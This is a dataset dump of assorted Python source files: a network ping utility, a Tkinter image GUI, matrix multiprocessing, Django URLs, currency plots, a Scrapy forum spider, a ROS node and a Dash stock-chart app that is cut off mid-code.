\"https://github.com/ldo/qahirah_xcffib\",\n py_modules = [\"qahirah_xcffib\"],\n cmdclass =\n {\n \"build_py\" : my_build_py,\n },\n )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"579435727","text":"import yaml\nformset = {}\n\nformset['insight'] = [\n ('', 'h5:Laser Operation', ''),\n ('_emission_button', '_main_shutter_button', '_fixed_shutter_button'),\n ('', 'h5:Wavelength Selection', ''),\n ('_main_wl_label'),\n ('tune_wl_val','','tune_wl_button'),\n ('', 'h5:Laser Statistics', ''),\n ('', 'Laser State:', '_state_label', ''),\n ('_diode1_hrs_label', '', '_diode2_hrs_label'),\n ('_diode1_temp_label', '', '_diode2_temp_label'),\n ('_diode1_curr_label', '', '_diode2_curr_label'),\n ('','h5:Logs',''),\n ('_action_history', '||', '_code_history')\n]\nformset['stage'] = [\n ('h5:Delay Stage State:','_state_label'),\n ('', 'h5:Delay Stage Operation', ''),\n ('_home_button', '', '_disable_button', '','_enable_button'),\n ('', 'Current Position (mm):', '_pos_label'),\n ('gotopos_text', '', 'absmov_button'),\n ('Make a relative move (mm)'),\n ('_movrev_button', '', '_relmov_text', '', '_movfor_button'),\n ('', '', ''),\n ('', 'Current Velocity (mm/s):', '_vel_label'),\n ('', '_vel_text', '_vel_button'),\n ('', 'Current Acceleration (mm/s2):', '_accel_label'),\n ('', '_accel_text', '_accel_button'),\n ('_action_history')\n ]\n\nformset['zidaq'] = [\n #('', 'h5:Connection Selectors', ''),\n #('_sigin_sele', '', '_sigout_sele'),\n #('', 'h5:Oscilloscope Trace', ''),\n #('', '_scope_viewer', ''),\n ('', 'h5:Parameter Setting', ''),\n ('tc_text', '', 'set_tc_button'),\n ('freq_text', '', 'set_freq_button'),\n ('rate_text', '', 'set_rate_button'),\n ('', 'h5:Logs', ''),\n ('_action_history')\n]\n\nformset['expmt'] = [{\n 'Experiment Control: SRS (fs)': ['_expmt_panel'],\n 'Laser and Delay Stage Controls': [('_insight_panel', '||', '_stage_panel')],\n 'ZI Lock-in Controls': ['_zidaq_panel'],\n }]\n\nd = yaml.dump(formset)\n\nwith open('formset.yaml', 'w') as f:\n f.write(d)","sub_path":"experiments/util/formsetter.py","file_name":"formsetter.py","file_ext":"py","file_size_in_byte":2037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"75854456","text":"import logging\n\nlogging.getLogger(\"kamene.runtime\").setLevel(logging.ERROR) # 关闭不必要的报错\n\nfrom kamene.all import *\n\ndef ping(ip):\n ping_pkt = IP(dst=ip) / ICMP()\n ping_result = sr1(ping_pkt, timeout=2, verbose=False)\n if ping_result:\n return ip, 1\n else:\n return ip, 0\n\nif __name__ == '__main__':\n result = ping('192.168.94.96')\n if result[1]:\n print(f'{result[0]} 通!')\n else:\n print(f'{result[0]} 不通!')\n\n\n","sub_path":"ping.py","file_name":"ping.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"423675681","text":"import numpy\nimport matplotlib\nimport cv2\nimport tkinter as tk\nfrom functools import partial\nfrom tkinter.filedialog import askopenfilename\nfrom PIL import Image, ImageTk\nimport os\nimport pdi\n#filename = askopenfilename()\n\nclass TelaPrincipal:\n def __init__(self, master):\n self.imagePath = \"\"\n self.menus = [\"01 - QUESTAO\", \"02 - QUESTAO\", \"03 - QUESTAO\", \"04 - QUESTAO\", \"05 - QUESTAO\"]\n\n self.master = master\n self.master.title(\"PDI - Trab01\")\n self.master.geometry(\"1250x600+50+50\")\n self.master[\"bg\"] = \"gray8\"\n\n self.valEntry = tk.StringVar(self.master, value='128') \n\n self.menu = tk.StringVar(self.master)\n self.menu.set(self.menus[0])\n\n self.m = tk.OptionMenu(self.master, self.menu, *self.menus, command=self.menuFunc)\n self.m.configure(bg=\"black\", fg=\"white\" ,width=25)\n self.m.grid(row=0, column=0, padx= 5, pady=(20, 10), sticky='w')\n\n\n self.lb1 = tk.Label(self.master, text=\"Imagem Original\", bg=\"light grey\", height=25, width=75)\n self.lb1.grid(row=2, column=0, columnspan=2, padx=(40,20), pady=(20, 10))\n\n self.lb2 = tk.Label(self.master, text=\"Imagem Resultado\", bg=\"light grey\", height=25, width=75)\n self.lb2.grid(row=2, column=3, columnspan=2, padx=(20,25), pady=(20, 10))\n\n\n self.button1 = tk.Button(self.master, text = 'Carregar Imagem', bg=\"black\", fg=\"white\", width = 25, command=self.carregarImagem)\n self.button1.grid(row=7, column=0, columnspan=2, padx= (45,20), pady=30)\n\n self.button2 = tk.Button(self.master, text = 'Aplicar Funcao', bg=\"black\", fg=\"white\", width = 25, command=self.applyFunc)\n self.button2.grid(row=7, column=3, columnspan=2, padx= (20,20), pady=10)\n\n\n self.lb3 = tk.Label(self.master, text=\"Limiar\", bg=\"gray8\", fg=\"white\")\n self.parametros = tk.Entry(self.master, textvariable=self.valEntry, bg=\"light grey\", width=10, justify=\"center\")\n \n self.lb3.grid(row=7, column=2, sticky=\"n\")\n self.parametros.grid(row=7, column=2)\n\n\n\n def menuFunc(self, val):\n if(self.menu.get() == self.menus[0]): #questao01\n self.mudarEntryParam()\n self.lb3[\"text\"] = \"Limiar\" #parametro: Limiar\n self.valEntry.set(\"128\")\n\n if(self.menu.get() == self.menus[1]): #questao02\n self.mudarEntryParam()\n self.lb3[\"text\"] = \"Constante\" #parametro: Constante\n self.valEntry.set(\"27\")\n\n if(self.menu.get() == self.menus[2]): #questao03\n self.mudarEntryParam()\n self.lb3[\"text\"] = \"Gama\" #parametro: Gama\n self.valEntry.set(\"1.63\")\n\n if(self.menu.get() == self.menus[3]): #questao04\n self.mudarEntryParam()\n self.lb3[\"text\"] = \"Plano\" #parametro: Plano\n self.valEntry.set(\"8\")\n\n if(self.menu.get() == self.menus[4]): #questao05\n self.lb3[\"text\"] = \"\"\n self.valEntry.set(\"\")\n self.parametros.config(state='disabled')\n\n\n def mudarEntryParam(self):\n self.parametros.config(state='normal')\n\n def applyFunc(self):\n if(self.imagePath != \"\"):\n file = self.imagePath.replace(\"/\", \"\\\\\")\n print(file)\n image = cv2.imread(file, 0)\n npImagem = pdi.mudarMatriz(image)\n\n if(self.menu.get() == self.menus[0]): #questao01\n pdi.Tratador_de_Imagem.alarg_contraste(npImagem, int(self.parametros.get())) #parametro: Limiar | EX: 128\n\n if(self.menu.get() == self.menus[1]): #questao02\n pdi.Tratador_de_Imagem.trans_log(npImagem, double(self.parametros.get())) #parametro: Constante | EX: 27\n\n if(self.menu.get() == self.menus[2]): #questao03\n pdi.Tratador_de_Imagem.realce_contraste(npImagem, double(self.parametros.get()), 1) #parametro: Gama | EX: 1.63\n\n if(self.menu.get() == self.menus[3]): #questao04\n pdi.Tratador_de_Imagem.plano_de_bits(npImagem, int(self.parametros.get())) #parametro: Gama | EX: 8\n\n if(self.menu.get() == self.menus[4]): #questao05\n pdi.Tratador_de_Imagem.raioX(npImagem) #parametro: nao tem parametro\n print(\"Ainda nao tem\")\n else:\n print(\"mjop\\n\")\n \n img = ImageTk.PhotoImage(Image.fromarray(npImagem).resize((self.lb1.winfo_width(), self.lb1.winfo_height())))\n self.lb2[\"height\"] = 0\n self.lb2[\"width\"] = 0\n self.lb2[\"image\"] = img\n self.lb2.image = img\n else:\n print(\"mjop\\n\")\n\n\n\n\n def carregarImagem(self):\n self.imagePath = askopenfilename()\n print(self.imagePath)\n\n img = ImageTk.PhotoImage(Image.open(self.imagePath).resize((self.lb1.winfo_width(), self.lb1.winfo_height())))\n\n #img = tk.PhotoImage(file=self.imagePath)\n self.lb1[\"height\"] = 0\n self.lb1[\"width\"] = 0\n self.lb1[\"image\"] = img\n self.lb1.image = img\n \n\n '''\n def testFunc(self):\n path = askopenfilename()\n file = os.path.basename(path)\n image = cv2.imread(file, 0)\n #image = cv2.cv.LoadImage(file, 0)\n npImagem = pdi.mudarMatriz(image)\n pdi.Tratador_de_Imagem.plano_de_bits(npImagem, 8)\n \n cv2.imshow(\"Original\", image)\n cv2.imshow(\"Teste\", npImagem)\n\n if cv2.waitKey(0) == 27:\n quit()\n\n '''\n\n\ndef main(): \n root = tk.Tk()\n #root.geometry(\"800x600+275+75\")\n app = TelaPrincipal(root)\n root.mainloop()\n\nif __name__ == '__main__':\n main()","sub_path":"MainScreen.py","file_name":"MainScreen.py","file_ext":"py","file_size_in_byte":5855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"108500376","text":"import random\nimport time\nfrom multiprocessing import Process, Pool, Event, Manager, Value\nimport keyboard\n\ndef el(index, A, B, size):\n i, j = index\n res = 0\n for k in range(size):\n res += A[i][k] * B[k][j]\n return res\n\ndef main():\n ev = Event()\n ev.set()\n size = int(input(\"Размер матрицы: \"))\n main_event = Process(target=general_operations, args=(size, ev))\n main_event.start()\n while keyboard.read_key() == \"p\":\n print(\"You pressed pause, exit\")\n break\n ev.clear()\n main_event.join()\n\ndef set_matrix_size(size):\n return [[random.randint(-100, 100) for j in range(size)] for i in range(size)]\n\ndef write_matrix(matrix, filename):\n for id, item in enumerate(matrix):\n with open(f'{filename[0]}_{random.randint(1, 100)}.txt', 'w') as file:\n file.write(f\"Матрица {id}:\\n\")\n for i in item:\n file.write(' '.join([str(j) for j in i]) + '\\n')\n\ndef get_result(arrays, size, pool):\n for i in range(size):\n for j in range(size):\n result = pool.apply_async(el, ((i, j), arrays[0], arrays[1], size))\n res_matrix = result.get()\n arrays[2][i].append(res_matrix)\n return arrays[2]\n\ndef general_operations(size, event_stop):\n while event_stop.is_set():\n with Pool(processes=size * 2) as pool:\n array1, array2 = set_matrix_size(size), set_matrix_size(size)\n write_matrix([array1, array2], ['matrix_1', 'matrix_2'])\n array3 = [[] for i in range(size)]\n array3 = get_result([array1,array2,array3], size, pool)\n write_matrix([array3], ['maxtix_3'])\n time.sleep(5)\n\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"113452106","text":"n = int(input())\n\ndef nChoosek(n, k ):\n if (k > n):\n return 0;\n if (k * 2 > n):\n k = n-k;\n if (k == 0):\n return 1;\n\n result = n;\n\n for i in range(2,k+1):\n result *= (n-i+1);\n result //= i;\n\n return result;","sub_path":"Algorithms/nChoosek.py","file_name":"nChoosek.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"598849867","text":"from django.conf.urls import url\nfrom . import views\nfrom blog.feeds import LatestPostsRssFeed\n\n\nurlpatterns = [\n url(r'^archives/$', views.ArchivesView.as_view(), name='archives'),\n # url(r'^(?P\\d+)/(?P\\d+)/(?P\\d+)/(?P\\d+)/$',\n # views.post_detail, name='post_detail'),\n url(r'^(?P\\d+)/$', views.PostDetailView.as_view(), name='post_detail'),\n url(r'^tags/$', views.post_tags, name='post_tags'),\n url(r'^tags/(?P.+)/$', views.TagDetailView.as_view(), name='tag_detail'),\n url(r'^archives/$', views.ArchivesView.as_view(), name='archive'),\n url('^category/$', views.category_list, name='category_list'),\n url(r'^category/(?P.+)/$', views.CategoryDetailView.as_view(), name='category_detail'),\n url(r'^$', views.IndexView.as_view(), name='index'),\n url(r'^latest/rss/$', LatestPostsRssFeed(), name='rss'),\n]\n","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"41423730","text":"#! /usr/bin/env python\n\nimport numpy as np # to work with numerical data efficiently\nimport matplotlib.pyplot as plt\nimport rospy\nfrom sensor_msgs.msg import JointState\n\namplitude = 200*np.pi/180\nlimitmax = amplitude/2\nlimitmin = -amplitude/2\n\nposition = 50*np.pi/180\n\n\n\n\nfs = 500 # sample rate \nf = 3 # the frequency of the signal\n\nx = np.arange(fs) # the points on the x axis for plotting\n# compute the value (amplitude) of the sin wave at the for each sample\ny = np.sin(2*np.pi*f * x / fs)*(amplitude/2) + position\n\nfor i in range(len(y)):\n\tif y[i] > limitmax:\n\t\ty[i] = limitmax\n\telif y[i] < limitmin:\n\t\ty[i] = limitmin\n\n\nplt.plot(x, y)\nplt.plot(x, -y)\nplt.xlabel('sample(n)')\nplt.ylabel('angle')\nplt.show()\n\n\n#index on the msg joint_states\neyes_tilt_joint = 2\nneck_pan_joint = 17\nneck_tilt_joint = 18\nversion_joint = 32\n\n#neck limits (degrees)\nneck_pan_max = 53\nneck_pan_min = -53\nneck_tilt_max = 37\nneck_tilt_min = -18\n\n#eyes limits (degrees)\neye_max=38\neye_min=-38\n\n\n#try:\n# cena = rospy.wait_for_message('/vizzy/joint_states', sensor_msgs.msg.JointState, timeout=10)\n# print cena\n#except(rospy.ROSException), e:\n# print \"Laser scan topic not available, aborting...\"\n# print \"Error message: \", e\n\n\n\n\ndef cb_once(msg):\n\tglobal var\n\tglobal i\n\tvar = msg\n\tpub = rospy.Publisher('traj', JointState, queue_size=10)\n\tpub.publish(var)\n\t\n\n\tif i == 0:\n\t\tsub_once.unregister()\n\t\trospy.signal_shutdown(\"shutting down\")\n\t#rospy.signal_shutdown(\"shutting down\")\n\n\n\ti=i+1\n\ndef listener():\n\n\t# In ROS, nodes are uniquely named. If two nodes with the same\n\t# name are launched, the previous one is kicked off. The\n\t# anonymous=True flag means that rospy will choose a unique\n\t# name for our 'listener' node so that multiple listeners can\n\t# run simultaneously.\n\t#rospy.init_node('listener', anonymous=True)\n\tglobal sub_once\n\tsub_once = rospy.Subscriber('/vizzy/joint_states', JointState, cb_once)\n\trospy.wait_for_message('/vizzy/joint_states', JointState)\n\n\t# spin() simply keeps python from exiting until this node is stopped\n\t#rospy.spin()\n\n\n#def talker():\n\n\n\n\n\ndef main():\n\trospy.init_node('listener', anonymous=True)\n\tlistener()\n#\ttalker()\n\tglobal i\n\ti = 0;\n\trospy.spin()\n\n\n\nif __name__ == '__main__':\n\tmain()","sub_path":"behavioural_state_machine/src/seno.py","file_name":"seno.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"55028025","text":"from matplotlib import pyplot as plt\n\nfrom _get_info import get_rates\n\n# cоздание вызовов API и сохранение ответов в переменных\nurl_usd = 'http://www.nbrb.by/API/ExRates/Rates/Dynamics/145?startDate=2017-1-1&endDate=2017-12-31'\nurl_eur = 'http://www.nbrb.by/API/ExRates/Rates/Dynamics/292?startDate=2017-1-1&endDate=2017-12-31'\nurl_gbp = 'http://www.nbrb.by/API/ExRates/Rates/Dynamics/143?startDate=2017-1-1&endDate=2017-12-31'\n\ndates, rates_usd = get_rates(url_usd)\ndates, rates_eur = get_rates(url_eur)\ndates, rates_gbp = get_rates(url_gbp)\n\n# нанесение данных на диаграмму\nfig = plt.figure(dpi=100, figsize=(10, 6))\nplt.plot(dates, rates_usd, c='green', alpha=0.5)\nplt.plot(dates, rates_eur, c='red', alpha=0.5)\nplt.plot(dates, rates_gbp, c='blue', alpha=0.5)\n\n# форматирование диаграммы\ntitle = 'Курс валют по отношению к белорускому рублю\\n2017'\nplt.title(title, fontsize=18)\nplt.xlabel('Дата', fontsize=14)\nfig.autofmt_xdate() # выводит метки дат по диагонали\nplt.ylabel('Стоимость валюты', fontsize=14)\nplt.tick_params(axis='both', which='major', labelsize=14)\n\n# назначение диапазона для каждой оси\nplt.axis([dates[0], dates[-1], 1.8, 2.8])\n\n# сохранение диаграммы и ее вывод\nplt.savefig('cur_dynamics.png')\nplt.show()\n","sub_path":"cur_matplotlib.py","file_name":"cur_matplotlib.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"578759340","text":"# -*- coding: utf-8 -*-\n\nfrom scrapy import Spider, Request\nfrom forum_scraper.items import ForumPost\n\n\nclass ForumSpider(Spider):\n\n name = 'forum_spider'\n base_url = 'http://www.bug.hr'\n allowed_domains = ['bug.hr']\n start_urls = ['http://www.bug.hr/forum/']\n\n def parse(self, response):\n\n teme = response.xpath(u'//tr/td/div/a/@href').extract()\n\n for t in teme:\n yield Request(url=(self.base_url + t), callback=self.parse_tema)\n\n def parse_tema(self, response):\n\n threads = response.xpath(u'//tr/td/a[@class = \"naslov\"]/@href').extract()\n\n for t in threads:\n yield Request((self.base_url + t), callback=self.parse_post)\n\n s_str = response.xpath(u'//dt/a[text() = \"sljedeća\"]/@href').extract_first()\n\n if s_str is not None:\n yield Request((self.base_url + s_str), callback=self.parse_tema)\n\n def parse_post(self, response):\n\n item = ForumPost()\n item['post_text'] = response.xpath(u'//div[@class = \"poruka porukabody\"][text()]').extract_first()\n item['post_date'] = response.xpath(\n u'//div[@class = \"datumContainer\"]/div[@class = \"datum\"]/text()').extract_first()\n item['post_theme'] = response.xpath(u'//dl[@class = \"f_breadcrumb\"]/dt/a/text()').extract()[-1]\n item['post_link'] = response._get_url()\n\n return item\n","sub_path":"web-scraping-Scrapy/forum_scraper/spiders/forum_spider.py","file_name":"forum_spider.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"144935310","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n'''\nCreated on Tue Jul 2 09:29:34 2019\n\n@author: robin\n'''\nfrom components import *\n\n\nimport dash\n#import dash_auth\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport dash_table as ddt\nimport dash_bootstrap_components as dbc\nfrom dash.dependencies import Input, Output, State\nimport pandas as pd\nimport plotly.graph_objs as go\nfrom plotly import tools\n#import plotly.io as pio\nimport numpy as np\nfrom dateutil.relativedelta import relativedelta\nfrom datetime import datetime\n#from flask_cachi1ng import Cache\nimport atomm as am\nimport atomm.Tools as to\nfrom atomm.Indicators import MomentumIndicators\nfrom atomm.DataManager.main import MSDataManager\nfrom atomm.Tools import MarketHours\n#to = am.Tools()\n#import time\n\napp = dash.Dash(external_stylesheets=[dbc.themes.BOOTSTRAP])\ntheme = 'seaborn'\n\napp.title = 'atomm web app'\n\n#cache = Cache(app.server, config={\n# 'CACHE_TYPE': 'filesystem',\n# 'CACHE_DIR': 'cache-directory'\n#})\n\nimport colorlover as cl\ncolorscale = cl.scales['12']['qual']['Paired']\n\ncgreen = 'rgb(12, 205, 24)'\ncred = 'rgb(205, 12, 24)'\n\n\n# Set number of allowed charts\nnum_charts = 4\n\nserver = app.server\n\n#conf = am.Config()\n\n\n#dh = am.DataHandler('DAX')\ndh = MSDataManager()\noptions = dh.IndexConstituentsDict('SPY')\nspy_info = pd.read_csv('./data/spy.csv')\n# options = [{'label': 'AAPL', 'value': 'AAPL'}, {'label': 'MSFT', 'value': 'TT'}]\nindicators = [\n {'label': '10 day exponetial moving average', 'value': 'EMA10', 'subplot': False},\n {'label': '30 day exponetial moving average', 'value': 'EMA30', 'subplot': False},\n {'label': '10 day Simple moving average', 'value': 'SMA10', 'subplot': False},\n {'label': '30 day Simple moving average', 'value': 'SMA30', 'subplot': False},\n {'label': 'Bollinger Bands (20, 2)', 'value': 'BB202', 'subplot': False},\n {'label': 'RSI', 'value': 'RSI', 'subplot': True},\n {'label': 'ROC', 'value': 'ROC', 'subplot': True},\n {'label': 'MACD(12, 26)', 'value': 'MACD', 'subplot': True},\n {'label': 'STOC(7)', 'value': 'STOC', 'subplot': True},\n {'label': 'ATR(7)', 'value': 'ATR', 'subplot': True},\n {'label': 'Daily returns', 'value': 'D_RETURNS', 'subplot': False},\n {'label': 'Average Directional Indicator', 'value': 'ADX', 'subplot': True},\n {'label': 'Williams R (15)', 'value': 'WR', 'subplot': True},\n ]\n\nstrategies = [{'label': 'Momentum follower 1', 'value': 'MOM1'}]\n\nsubplot_traces = [i.get('value') for i in indicators if i.get('subplot')]\nchart_layout = {\n 'height': 600,\n 'margin': {'b': 30, 'r': 60, 'l': 40, 't': 10}, \n 'plot_bgcolor': '#222222',\n 'paper_bgcolor': '#222222',\n 'autosize': True,\n 'uirevision': 'The User is always right',\n 'hovermode': 'x',\n 'spikedistance': -1,\n 'xaxis': {\n 'gridcolor': 'rgba(255, 255, 255, 0.5)', \n 'gridwidth': .5, 'showspikes': True,\n 'spikemode': 'across',\n 'spikesnap': 'data',\n 'spikecolor': 'rgb(220, 200, 220)',\n 'spikethickness': 1, \n 'spikedash': 'dot'\n },\n 'yaxis': {\n 'gridcolor': 'rgba(255, 255, 255, 0.5)', \n 'gridwidth': .5\n },\n 'legend': {'x': 1.05, 'y': 1}\n }\n\n\n\ntab1_content = dbc.Card(\n dbc.CardBody(\n [\n html.P(\"This is tab 1!\", className=\"card-text\"),\n dbc.Button(\"Click here\", color=\"success\"),\n ]\n ),\n className=\"mt-3\",\n)\n\ntab2_content = dbc.Card(\n dbc.CardBody(\n [\n html.P(\"This is tab 2!\", className=\"card-text\"),\n dbc.Button(\"Don't click here\", color=\"danger\"),\n ]\n ),\n className=\"mt-3\",\n)\n\n\ntabs = dbc.Tabs(\n [\n dbc.Tab(\n #create_chart_div(0),\n label='Monitoring', tabClassName='w-50'\n),\n dbc.Tab(tab2_content, label='Machine Learning', tabClassName='w-50'\n),\n\n ],\n)\n\n \ndef search_list():\n search_list = []\n for i in options:\n sym = i.get('value')\n try: \n sec = spy_info[spy_info['Symbol'] == sym]['Security'].values[0]\n except:\n print(sym)\n search_list.append(f'{sym} - {sec}')\n return search_list\nsuggestions = search_list()\n \nsearch_bar = dbc.Row(\n [\n html.Datalist(\n id='list-suggested-inputs', \n children=[html.Option(value=word) for word in suggestions]),\n dbc.Col(\n dcc.Input(\n id='0stock_picker',\n list='list-suggested-inputs',\n placeholder='Search for stock',\n value='',\n type='text',\n size='50',\n className='bg-dark border-light text-light w-100 rounded br-3 pl-2 pr-2 pt-1 pb-1'\n ),\n className='border-light'\n ),\n # dbc.Col(\n # dbc.Button(\"Search\", color=\"primary\", className=\"ml-2\"),\n # width=\"auto\",\n # ),\n ],\n no_gutters=True,\n className=\"ml-auto flex-nowrap mt-3 mt-md-0\",\n align=\"center\",\n)\n\n\ndef create_submenu():\n body = dbc.Container([\n dbc.Row(\n [\n dbc.Col(\n children=[],\n md=4,\n className='pl-4 pr-4 pt-2 pb-2',\n id='infodiv'\n ),\n dbc.Col([\n html.H6('Select Technical Indicator'),\n \n dcc.Dropdown(id = '0study_picker',\n options = indicators,\n multi = True,\n value = [],\n placeholder = 'Select studies',\n className = 'dash-bootstrap'\n ),\n \n ],\n md=4,\n className='border-left pl-4 pr-4 pt-2 pb-2',\n ),\n \n dbc.Col([\n html.H6('Chart Style'),\n dbc.RadioItems(\n id = '0trace_style',\n options=[\n {'label': 'Line Chart', 'value': 'd_close'},\n {'label': 'Candlestick', 'value': 'ohlc'}\n ],\n value='ohlc',\n className='inline-block',\n ), \n ],\n md=4,\n className='border-left pl-4 pr-4 pt-2 pb-2',\n ),\n ],\n className='',\n )],\n className='border-bottom submenu',\n fluid=True,\n )\n return body\n \ndef create_chart_div(num): \n chart = dbc.Container(\n dbc.Row([\n dbc.Col([\n dcc.Graph(\n id = '0chart',\n figure = {\n 'data': [],\n 'layout': chart_layout\n },\n config = {'displayModeBar': False, 'scrollZoom': True, 'fillFrame': False},\n ) \n ],\n md=12,\n className='m-0',\n ),\n ]),\n fluid=True ,\n className='content',\n )\n return chart\n\ndef create_navbar():\n navbar = dbc.Navbar(\n [\n html.A(\n # Use row and col to control vertical alignment of logo / brand\n dbc.Row(\n [\n dbc.Col([\n html.Img(src=app.get_asset_url('logo.png'), height='35px'),\n dbc.NavbarBrand([html.P(html.H5('atomm'))], className='ml-1') \n ]),\n \n ],\n align='center',\n no_gutters=True,\n ),\n href='#',\n ),\n dbc.Collapse(\n search_bar,\n id=\"navbar-collapse\",\n navbar=True\n ),\n html.A(dbc.NavLink('Overview', href=\"#\")),\n html.A(dbc.NavLink('Machine Learning', href=\"#\")),\n dbc.NavbarToggler(id='navbar-toggler'),\n\n ],\n color=\"dark\",\n dark=True,\n className='navbar-dark ml-auto mr-auto shadow'\n )\n return navbar\n\n\n########\n##\n## MAIN DASHBOARD LAYOUT\n##\n########\napp.layout = html.Div([\n create_navbar(),\n create_submenu(),\n create_chart_div(0),\n dcc.Interval(\n id='interval-component',\n interval=30*10000,\n n_intervals=0\n ),\n # html.Div([\n # # html.Div(\n # # [\n \n # # ],\n # # className='content_header'\n # # ),\n # dcc.Interval(\n # id='interval-component',\n # interval=30*10000,\n # n_intervals=0\n # ),\n # html.Div(\n # [\n # create_chart_div(0)\n # ],\n # id='charts'\n # ),\n # ],\n # id='content'\n # ),\n html.Div(\n id='symbol_selected',\n style={'display': 'inline-block'}\n ),\n html.Div(\n id='selected-index-div',\n style={'display': 'inline-block'}\n ),\n html.Div(\n id='div-out',\n style={'display': 'inline-block'}\n ),\n html.Div(\n id='add_btn_counter',\n style={'display': 'none'}\n ),\n ])\n\n\n\n\ndef get_fig(ticker, type_trace, studies, start_date, end_date, index):\n\n# for ticker in ticker_list:\n #dh = am.DataHandler(index)\n dh = MSDataManager()\n df = dh.ReturnData(ticker, start_date=start_date, end_date=end_date)\n \n selected_subplots_studies = []\n selected_first_row_studies = []\n row = 2 # number of subplots\n\n if studies != []:\n for study in studies:\n if study in subplot_traces:\n row += 1 # increment number of rows only if the study needs a subplot\n selected_subplots_studies.append(study)\n else:\n selected_first_row_studies.append(study) \n fig = tools.make_subplots(\n rows = row,\n shared_xaxes = True,\n shared_yaxes = False,\n cols = 1,\n print_grid = True,\n vertical_spacing = 0.05,\n row_width = [0.2]*(row-1)+[1-(row-1)*0.2]\n )\n \n fig.append_trace(globals()[type_trace](df), 1, 1)\n \n fig['layout'][f'xaxis{row}'].update(\n tickangle= -0, \n tickformat = '%Y-%m-%d',\n autorange = True,\n showgrid = True,\n mirror = 'ticks',\n color = 'rgba(255, 255, 255, 1)',\n tickcolor = 'rgba(255,255,255,1)'\n )\n fig['layout']['yaxis1'].update(\n range = [\n df['Close'].min()/1.3,\n df['Close'].max()*1.05\n ],\n showgrid = True,\n anchor = 'x1', \n mirror = 'ticks',\n layer = 'above traces',\n color = 'rgba(255, 255, 255, 1)',\n gridcolor = 'rgba(255, 255, 255, 1)'\n )\n fig['layout']['yaxis2'].update(\n # range= [0, df['Volume'].max()*4], \n # overlaying = 'y2', \n # layer = 'below traces',\n autorange = True,\n # anchor = 'x1', \n side = 'left', \n showgrid = True,\n title = 'D. Trad. Vol.',\n color = 'rgba(255, 255, 255, 1)',\n )\n \n # if model != '' and model is not None:\n # # bsSig, retStrat, retBH = globals()[strategyTest](df, start_date, end_date, 5)\n # ml = load(model)\n # fig = bsMarkers(df, fig)\n # fig['layout'].update(annotations=[\n # dict(\n # x = df.index[int(round(len(df.index)/2, 0))],\n # y = df['Close'].max()*1.02,\n # text = 'Your Strategy: ' + str(round(retStrat*100, 0)) + ' % \\nBuy&Hold: ' + str(round(retBH*100, 0)) + '%',\n # align = 'center',\n # font = dict(\n # size = 16,\n # color = 'rgb(255, 255, 255)'),\n \n # showarrow = False,\n \n # )\n # ]\n # )\n\n for study in selected_first_row_studies:\n fig = globals()[study](df, fig) # add trace(s) on fig's first row\n \n row = 2\n fig = vol_traded(df, fig, row)\n for study in selected_subplots_studies:\n row += 1\n fig = globals()[study](df, fig, row) # plot trace on new row\n\n\n fig['layout'].update(chart_layout)\n fig['layout']['xaxis'].update(\n rangeselector=dict(\n buttons=list([\n dict(count = 1,\n label = '1M',\n step = 'month',\n stepmode = 'backward'),\n dict(count = 6,\n label = '6M',\n step = 'month',\n stepmode = 'backward'),\n dict(count = 1,\n label = 'YTD',\n step = 'year',\n stepmode = 'todate'),\n dict(count = 1,\n label = '1Y',\n step = 'year',\n stepmode = 'backward'),\n dict(count = 3,\n label = '3Y',\n step = 'year',\n stepmode = 'backward'),\n dict(step = 'all',\n label = 'MAX')\n ])\n ),\n rangeslider = dict(\n visible = False\n ),\n type=\"date\"\n )\n \n return fig\n\n\n\ndef generate_info_div_callback():\n def info_div_callback(ticker, n_intervals):\n ticker_sym = ticker.split('-')[0].strip()\n ticker_sec = ticker.split('-')[1].strip()\n dh = MSDataManager()\n mh = MarketHours('NYSE')\n mo_class = 'cgreen' if mh.MarketOpen else 'cred'\n mo_str = 'open' if mh.MarketOpen else 'closed'\n latest_trade_date = dh.ReturnLatestStoredDate(ticker_sym)\n latest_trade_date_str = latest_trade_date.strftime('%d-%m-%Y - %H:%M:%S')\n data = dh.ReturnData(\n ticker_sym,\n start_date=latest_trade_date-relativedelta(years=1),\n end_date = latest_trade_date,\n limit=None\n )\n latest = data['Close'].iloc[-1]\n diff = (data['Close'][-2]-data['Close'][-1])\n pct_change = diff/data['Close'][-2]\n pl_class = 'cgreen' if diff > 0 else 'cred'\n pl_sign = '+' if diff > 0 else '-'\n # pct_change = f''\n ftwh = data['Close'].values.max()\n ftwl = data['Close'].values.min()\n #market_cap = data['market_cap'].iloc[-1]\n # market_cap = 0\n #curr = str(data['currency'].iloc[-1]).replace('EUR', '€')\n curr = 'USD'\n children = [\n dbc.Row(\n [\n \n html.H6(f'{ticker_sec} ({ticker_sym})', className='')\n \n ]\n ),\n dbc.Row(\n [\n dbc.Col([\n html.P(\n [\n html.Span(html.Strong(f'{curr} {latest:.2f} ', className=pl_class+' large bold')),\n html.Span(f'{pl_sign}{diff:.2f} ', className=pl_class+' small'),\n 